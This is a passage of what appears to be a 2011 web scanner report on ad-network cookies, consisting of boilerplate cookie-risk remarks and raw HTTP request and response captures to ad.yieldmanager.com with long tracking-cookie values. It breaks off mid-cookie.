HTTP/1.1 302 Found Server: nginx/0.6.39 Date: Tue, 01 Feb 2011 15:22:49 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d1e80eb13df2; expires=Fri, 04-Mar-2011 15:22:49 GMT; path=/ Set-Cookie: i_1=33:971:560:0:0:34240:1296573769:B2|33:971:560:0:0:34147:1296491944:B2|33:1359:827:0:0:34115:1296343593:B2; expires=Thu, 03-Mar-2011 15:22:49 GMT; path=/ Location: http://admedia.wsod.com/media/p.gif P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /iframe3?NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAAAIAka89F1z8AAIj9nBzbPwCAJGvPRdc.AACI.Zwc2z-ejamSGMLYPwAAcJCh19w.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlOcB7KlmSCbftrzIXCBE9jVq9wOUizpEl4mSqAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fv%253B228957569%253B0%252d0%253B0%253B45421603%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dcomputers%26_salt%3D791003084%26B%3D10%26r%3D0,07b4f7d4-2edf-11e0-b4de-003048d6cfae HTTP/1.1 Host: ad.yieldmanager.com Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/dmd.ehow/computers;cat=computersoftware;scat=;sscat=;art=;qg=;tc=;vid=0;ctype=articles;ugc=0;lvl=1;rsi=;tile=3;sz=300x250;ord=4760230283606905? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pc1="b!!!!#!#49P!!!*Z!##wb!+:d(!$9rJ!!H<)!?5%!)I-X?![:Z-!#[Q#!%(/.~~~~~~<ht]%~M.jTN"; BX=90d0t1d6iq2v7&b=3&s=9e; uid=uid=b167d032-2d75-11e0-89fa-003048d6d890&_hmacv=1&_salt=2074615246&_keyid=k1&_hmac=249585fedc0ca1193988128dced0dced5912c7fb; pv1="b!!!!3!#1xy!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@~~!#1y'!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@<l_ss~!#X@7!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@9!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@<!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@>!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#dT5!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT7!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT9!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT<!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#`,W!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,Z!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,]!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,_!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#3yC!!!%G!#4*B!/cr5!%:4s!!!%%!?5%!'k4o6!wVd.!$,gR!$a0[!'>es~~~~~<kI5G<o[wQ~!!x>#!!!/`!$C*N!.E9F!%7Dl!!!!$!?5%!%5XA1!w1K*!%oT=!!MLR!':'O~~~~~<lEIO<t:,n!!.vL"; lifb=%y_Qs7i<Qa>BiQOJap]Thmj[); bh="b!!!#p!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!,D(!!!!#<kI5F!!-?2!!!!'<kI5F!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!%<kI5F!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!#<k2yw!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!2(x!!!!$<kI5F!!4<u!!!!%<kI5F!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!?VS!!ErC<k0fB!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!L_w!!!!'<kdT!!!Mr(!!ErC<k0fB!!OgU!!!!$<kI5F!!Zwb!!!!#<kI5F!!`Yp!!!!#<htUb!!fP+!!!!#<k`g7!!iEC!!!!#<kI5F!!iEb!!!!%<kI5F!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!v:e!!!!$<kI5F!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#*VS!!!!#<jLPe!#+]S!!!!$<kI5F!#-B#!!!!#<l.yn!#-vv!!!!$<iC/K!#.dO!!!!'<kdT!!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#1=E!!!!#<kI4S!#2`q!!!!#<jc#g!#2mR!!!!$<lEIO!#3pS!!!!#<jHAu!#3pv!!!!#<jHAu!#5(X!!!!#<jLPe!#5(Y!!!!#<l.yn!#5(`!!!!#<jLPe!#5(b!!!!#<kI3?!#5(f!!!!#<kI4S!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!'<kI5F!#8:i!!!!#<jc#c!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#I=D!!!!#<kjhR!#K?%!!!!#<l8V)!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#MTC!!!!(<lEIR!#MTF!!!!(<lEIR!#MTH!!!!(<lEIR!#MTI!!!!(<lEIR!#MTJ!!!!(<lEIR!#OC2!!!!#<l/M+!#P<=!!!!#<kQRW!#PrV!!!!#<kQRW!#Q+o!!!!'<kdT!!#Qh8!!!!#<l.yn!#Ri/!!!!'<kdT!!#Rij!!!!'<kdT!!#SCj!!!!$<kcU!!#SCk!!!!$<kdT!!#SUp!!!!$<kI5F!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#TnE!!!!$<lEIR!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#UDQ!!!!(<lEIR!#W^8!!!!#<jem(!#X)y!!!!#<jem(!#X]+!!!!'<kdT!!#ZPo!!!!#<ie2`!#ZhT!!!!'<kI5F!#Zmf!!!!$<kT`F!#]!g!!!!#<gj@R!#]Ky!!!!#<gj@R!#^0$!!!!$<kI5F!#^0%!!!!$<kI5F!#_0t!!!!%<kTb(!#`SX!!!!#<gj@R!#aG>!!!!'<kdT!!#aM'!!!!#<kp_p!#av4!!!!#<iLQl!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<e!!!!#<l.yn!#b<g!!!!#<kI4S!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b=K!!!!#<l.yn!#b?A!!!!#<l.x@!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e@W!!!!#<k_2)!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!%<kI5F!#fBk!!!!%<kI5F!#fBm!!!!%<kI5F!#fBn!!!!%<kI5F!#fBu!!!!#<gj@R!#fG+!!!!%<kI5F!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#fpW!!!!#<l/JY!#fpX!!!!#<l/JY!#fpY!!!!#<l/JY!#g'E!!!!#<gj@R!#g/7!!!!$<kI5F!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#g]7!!!!#<l.yn!#g]9!!!!#<kjl4!#h.N!!!!#<kL2n!#jS>!!!!#<k_Jy!#ndJ!!!!#<k2yx!#ndP!!!!#<k2yx!#nda!!!!#<k2yx!#ne$!!!!#<k2yx!#p]T!!!!$<kL2n"; ih="b!!!!<!(4vA!!!!#<kc#t!(mhO!!!!#<lEK*!*09R!!!!#<l/M+!*gS^!!!!#<kI:#!+/Wc!!!!#<jbN?!+:d(!!!!#<htX7!+:d=!!!!$<hu%0!+kS,!!!!#<jbO@!->h]!!!!#<htSD!-g#y!!!!#<k:[]!.E9F!!!!$<lEIO!.N)i!!!!#<htgq!.T97!!!!#<k:^)!.`.U!!!!'<kc#o!.tPr!!!!#<k`nL!/9uI!!!!#<k:]D!/H]-!!!!'<hu!d!/J`3!!!!#<jbND!/c)/!!!!#<h67=!/cr5!!!!#<kI5G!/o:O!!!!#<htU#!/poZ!!!!#<iLQk!/uG1!!!!#<jbOF!0>0V!!!!#<l/M."; vuday1=_UO8O5_x-c!>[UWhS6Z+
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:13:48 GMT Server: YTS/1.18.4 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: BX=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT X-RightMedia-Hostname: ad0269.2rm.ac4 Set-Cookie: ih="b!!!!=!(4vA!!!!#<kc#t!(mhO!!!!#<lEK*!*09R!!!!#<l/M+!*gS^!!!!#<kI:#!+/Wc!!!!#<jbN?!+:d(!!!!#<htX7!+:d=!!!!$<hu%0!+kS,!!!!#<jbO@!->h]!!!!#<htSD!-g#y!!!!#<k:[]!.E9F!!!!$<lEIO!.N)i!!!!#<htgq!.T97!!!!#<k:^)!.`.U!!!!'<kc#o!.tPr!!!!#<k`nL!/9uI!!!!#<k:]D!/H]-!!!!'<hu!d!/J`3!!!!#<jbND!/c)/!!!!#<h67=!/cr5!!!!#<kI5G!/o:O!!!!#<htU#!/poZ!!!!#<iLQk!/uG1!!!!#<jbOF!0>0V!!!!#<l/M.!0>0W!!!!#<lEK0"; path=/; expires=Fri, 01-Feb-2013 15:13:48 GMT Set-Cookie: vuday1=_UO8O5_x-d!>[UWGM:%]; path=/; expires=Thu, 03-Feb-2011 00:00:00 GMT Set-Cookie: lifb=ty?i)oaEEn%y_Qs7i<Qa>BiQOJap]T6KK(#; path=/; expires=Wed, 02-Feb-2011 20:10:40 GMT Cache-Control: no-store Last-Modified: Wed, 02 Feb 2011 15:13:48 GMT Pragma: no-cache Content-Length: 4494 Content-Type: text/html Age: 0 Proxy-Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /imp?Z=300x250&click=http%3a%2f%2fad.doubleclick.net%2fclick%3Bh%3Dv8%2f3aa2%2f3%2f0%2f%2a%2fn%3B228957569%3B0%2d0%3B0%3B45421688%3B4307%2d300%2f250%3B38375088%2f38392845%2f1%3B%3B%7Eaopt%3D2%2f0%2f36%2f0%3B%7Esscs%3D%3f&e=58661&S=&I=homepage&_salt=863799931&B=10&r=0 HTTP/1.1 Host: ad.yieldmanager.com Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/dmd.ehow/homepage;vid=0;ugc=0;lvl=4;sz=300x250;tile=2;ord=2735259747132? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pc1="b!!!!#!#49P!!!*Z!##wb!+:d(!$9rJ!!H<)!?5%!)I-X?![:Z-!#[Q#!%(/.~~~~~~<ht]%~M.jTN"; BX=90d0t1d6iq2v7&b=3&s=9e; pv1="b!!!!3!#1xy!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@~~!#1y'!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@<l_ss~!#M*E!!E)$!$XwU!/uG1!%:2w!#:m1!?5%!'2gi6!xSD7!%4=%!%@78!'>cr~~~~~<jbOF<ka5`~!#X@7!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@9!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@<!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@>!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#dT5!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT7!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT9!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT<!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#`,W!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,Z!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,]!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,_!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#3yC!!!%G!#4*B!/cr5!%:4s!!!%%!?5%!'k4o6!wVd.!$,gR!$a0[!'>es~~~~~<kI5G<o[wQ~"; uid=uid=b167d032-2d75-11e0-89fa-003048d6d890&_hmacv=1&_salt=2074615246&_keyid=k1&_hmac=249585fedc0ca1193988128dced0dced5912c7fb; ih="b!!!!9!(4vA!!!!#<kc#t!*09R!!!!#<l/M+!*gS^!!!!#<kI:#!+/Wc!!!!#<jbN?!+:d(!!!!#<htX7!+:d=!!!!$<hu%0!+kS,!!!!#<jbO@!->h]!!!!#<htSD!-g#y!!!!#<k:[]!.N)i!!!!#<htgq!.T97!!!!#<k:^)!.`.U!!!!'<kc#o!.tPr!!!!#<k`nL!/9uI!!!!#<k:]D!/H]-!!!!'<hu!d!/J`3!!!!#<jbND!/c)/!!!!#<h67=!/cr5!!!!#<kI5G!/o:O!!!!#<htU#!/poZ!!!!#<iLQk!/uG1!!!!#<jbOF!0>0V!!!!#<l/M."; bh="b!!!#t!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!,D(!!!!#<kI5F!!-?2!!!!'<kI5F!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!%<kI5F!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!#<k2yw!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!2(x!!!!$<kI5F!!4<u!!!!%<kI5F!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!?VS!!ErC<k0fB!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!L_w!!!!'<kdT!!!Mr(!!ErC<k0fB!!OgU!!!!$<kI5F!!Zwb!!!!#<kI5F!!`Yp!!!!#<htUb!!fP+!!!!#<k`g7!!iEC!!!!#<kI5F!!iEb!!!!%<kI5F!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!v:e!!!!$<kI5F!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#*VS!!!!#<jLPe!#+]S!!!!$<kI5F!#-B#!!!!#<l.yn!#-vv!!!!$<iC/K!#.dO!!!!'<kdT!!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#1=E!!!!#<kI4S!#2`q!!!!#<jc#g!#3pS!!!!#<jHAu!#3pv!!!!#<jHAu!#5(X!!!!#<jLPe!#5(Y!!!!#<l.yn!#5(`!!!!#<jLPe!#5(b!!!!#<kI3?!#5(f!!!!#<kI4S!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!'<kI5F!#8:i!!!!#<jc#c!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#I=D!!!!#<kjhR!#K?%!!!!#<l8V)!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#MTC!!!!'<l/M+!#MTF!!!!'<l/M+!#MTH!!!!'<l/M+!#MTI!!!!'<l/M+!#MTJ!!!!'<l/M+!#OC2!!!!#<l/M+!#P<=!!!!#<kQRW!#PrV!!!!#<kQRW!#Q+o!!!!'<kdT!!#Qh8!!!!#<l.yn!#RY.~~!#Ri/!!!!'<kdT!!#Rij!!!!'<kdT!!#SCj!!!!$<kcU!!#SCk!!!!$<kdT!!#SUp!!!!$<kI5F!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#TnE!!!!#<l/M+!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#UDQ!!!!'<l/M+!#W^8!!!!#<jem(!#X)y!!!!#<jem(!#X]+!!!!'<kdT!!#ZPo!!!!#<ie2`!#ZhT!!!!'<kI5F!#Zmf!!!!$<kT`F!#]!g!!!!#<gj@R!#]Ky!!!!#<gj@R!#]W%~~!#^0$!!!!$<kI5F!#^0%!!!!$<kI5F!#^Bo~~!#_0t!!!!%<kTb(!#`SX!!!!#<gj@R!#aG>!!!!'<kdT!!#aM'!!!!#<kp_p!#av4!!!!#<iLQl!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<e!!!!#<l.yn!#b<g!!!!#<kI4S!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b=K!!!!#<l.yn!#b?A!!!!#<l.x@!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e@W!!!!#<k_2)!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!%<kI5F!#fBk!!!!%<kI5F!#fBm!!!!%<kI5F!#fBn!!!!%<kI5F!#fBu!!!!#<gj@R!#fG+!!!!%<kI5F!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#fpW!!!!#<l/JY!#fpX!!!!#<l/JY!#fpY!!!!#<l/JY!#g'E!!!!#<gj@R!#g/7!!!!$<kI5F!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#g[h~~!#g]7!!!!#<l.yn!#g]9!!!!#<kjl4!#h.N!!!!#<kL2n!#jS>!!!!#<k_Jy!#ndJ!!!!#<k2yx!#ndP!!!!#<k2yx!#nda!!!!#<k2yx!#ne$!!!!#<k2yx!#p#b~~!#p]T!!!!$<kL2n"; lifb=%y_Qs7i<Qa5p0/:
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pixel?id=898198&t=2 HTTP/1.1 Host: ad.yieldmanager.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/cacheable/ad.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pc1="b!!!!#!#49P!!!*Z!##wb!+:d(!$9rJ!!H<)!?5%!)I-X?![:Z-!#[Q#!%(/.~~~~~~<ht]%~M.jTN"; BX=90d0t1d6iq2v7&b=3&s=9e; pv1="b!!!!3!#1xy!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@~~!#1y'!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@<l_ss~!#M*E!!E)$!$XwU!/uG1!%:2w!#:m1!?5%!'2gi6!xSD7!%4=%!%@78!'>cr~~~~~<jbOF<ka5`~!#X@7!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@9!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@<!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@>!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#dT5!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT7!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT9!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT<!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#`,W!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,Z!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,]!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,_!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#3yC!!!%G!#4*B!/cr5!%:4s!!!%%!?5%!'k4o6!wVd.!$,gR!$a0[!'>es~~~~~<kI5G<o[wQ~"; uid=uid=b167d032-2d75-11e0-89fa-003048d6d890&_hmacv=1&_salt=2074615246&_keyid=k1&_hmac=249585fedc0ca1193988128dced0dced5912c7fb; bh="b!!!#s!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!,D(!!!!#<kI5F!!-?2!!!!'<kI5F!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!%<kI5F!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!#<k2yw!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!2(x!!!!$<kI5F!!4<u!!!!%<kI5F!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!?VS!!ErC<k0fB!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!L_w!!!!'<kdT!!!Mr(!!ErC<k0fB!!OgU!!!!$<kI5F!!Zwb!!!!#<kI5F!!`Yp!!!!#<htUb!!fP+!!!!#<k`g7!!iEC!!!!#<kI5F!!iEb!!!!%<kI5F!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!v:e!!!!$<kI5F!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#*VS!!!!#<jLPe!#+]S!!!!$<kI5F!#-B#!!!!#<l.yn!#-vv!!!!$<iC/K!#.dO!!!!'<kdT!!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#1=E!!!!#<kI4S!#2`q!!!!#<jc#g!#3pS!!!!#<jHAu!#3pv!!!!#<jHAu!#5(X!!!!#<jLPe!#5(Y!!!!#<l.yn!#5(`!!!!#<jLPe!#5(b!!!!#<kI3?!#5(f!!!!#<kI4S!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!'<kI5F!#8:i!!!!#<jc#c!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#I=D!!!!#<kjhR!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#MTC!!!!'<l/M+!#MTF!!!!'<l/M+!#MTH!!!!'<l/M+!#MTI!!!!'<l/M+!#MTJ!!!!'<l/M+!#OC2!!!!#<l/M+!#P<=!!!!#<kQRW!#PrV!!!!#<kQRW!#Q+o!!!!'<kdT!!#Qh8!!!!#<l.yn!#RY.!!!!'<kdT!!#Ri/!!!!'<kdT!!#Rij!!!!'<kdT!!#SCj!!!!$<kcU!!#SCk!!!!$<kdT!!#SUp!!!!$<kI5F!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#TnE!!!!#<l/M+!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#UDQ!!!!'<l/M+!#W^8!!!!#<jem(!#X)y!!!!#<jem(!#X]+!!!!'<kdT!!#ZPo!!!!#<ie2`!#ZhT!!!!'<kI5F!#Zmf!!!!$<kT`F!#]!g!!!!#<gj@R!#]Ky!!!!#<gj@R!#]W%!!!!'<kdT!!#^0$!!!!$<kI5F!#^0%!!!!$<kI5F!#^Bo!!!!'<kdT!!#_0t!!!!%<kTb(!#`SX!!!!#<gj@R!#aG>!!!!'<kdT!!#aM'!!!!#<kp_p!#av4!!!!#<iLQl!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<e!!!!#<l.yn!#b<g!!!!#<kI4S!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b=K!!!!#<l.yn!#b?A!!!!#<l.x@!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e@W!!!!#<k_2)!#ePa!!!!#<g